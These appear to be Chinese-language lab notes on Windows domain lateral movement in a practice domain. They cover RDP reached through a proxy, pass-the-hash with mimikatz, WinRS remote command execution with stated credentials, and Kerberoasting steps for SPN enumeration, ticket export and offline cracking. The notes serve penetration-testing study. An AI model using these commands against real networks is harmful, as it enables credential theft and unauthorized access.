RDP横向移动:
实验1:(通过RDP远程连接内网主机)
实验环境:
概述:远程桌面服务支持明文及HASH连接
使用条件:对方开启RDP服务,远程桌面(3389端口)
RDP连接的三种方式:
1.直接在当前被控主机上进行远程连接(直接在webserver进行远程连接sqlserver)【动作太大了】
2.建立节点进行连接(使用代理工具) 推荐
3.端口转发(将SQLserver 3389端口的流量转发至webserver 2222端口,需要上传工具)【需要上传流量】
先让webserver上线CS,并提权:
对3389端口进行探测:
结果:
做socks代理:
成功连上目标主机域控。
Hash连接:
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin" #mimikatz使用HASH连接
WinRM&WinRS横向移动
利用WinRM服务,采用WinRS连接:
WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。
默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。
使用条件:双方都启用的Winrm rs的服务!
使用此服务需要管理员级别凭据
Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;
Windows 2012之后的版本默认允许远程任意主机来管理。
实验1:(winrs命令横向移动)
webserver靶机开启:
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
端口扫描域内的5985端口
powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
连接执行:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
可以用之前下载web站点木马执行。
也可以利用CS内在winrm64插件进行横向:
Spn&Kerberos横向移动
概述:
Kerberoasting 攻击的利用流程:
•SPN服务发现
•请求服务票据(工具判断与powershell脚本判断)
•服务票据的导出(mimikatz导出)
•服务票据的暴力破解(使用密码字典进行RC4协议破解)
https://github.com/GhostPack/Rubeus
https://github.com/nidem/kerberoast
https://www.freebuf.com/articles/system/174967.html
如需利用需要配置策略加密方式(对比)
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。
DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。
黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。
如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。
实验1(Spn&Kerberos破解票据,得到明文密码):
注:这里使用god.org环境做相关实验,仅作演示。
此方法用于无法抓取hash值或者明文密码时使用
使用条件:采用RC4加密类型票据,工具Rubeus检测或看票据加密类型
扫描与环境主机开启的服务:
powershell setspn -T God.org -q */*
powershell setspn -T God.org -q */* | findstr "MSSQL"
2.工具检测可用协议
GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
源码是没有编译的,需要用vs studio执行.sln文件才可以生成rubeus.exe文件
但是这里复现没有成功,暂无发现原因:
检测可用协议-手工:
powershell Add-Type -AssemblyName System.IdentityModel
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/WebServer.god.org:1433"
结果又出现这个问题:
按照小迪老师的步骤:
先打开mimikatz:
mimikatz::list
mimikatz::list /export #导出票据:
导出到本地电脑,然后进行破解:
python tgsrepcrack.py pass.txt ''票据名字"
实验失败,记好流程。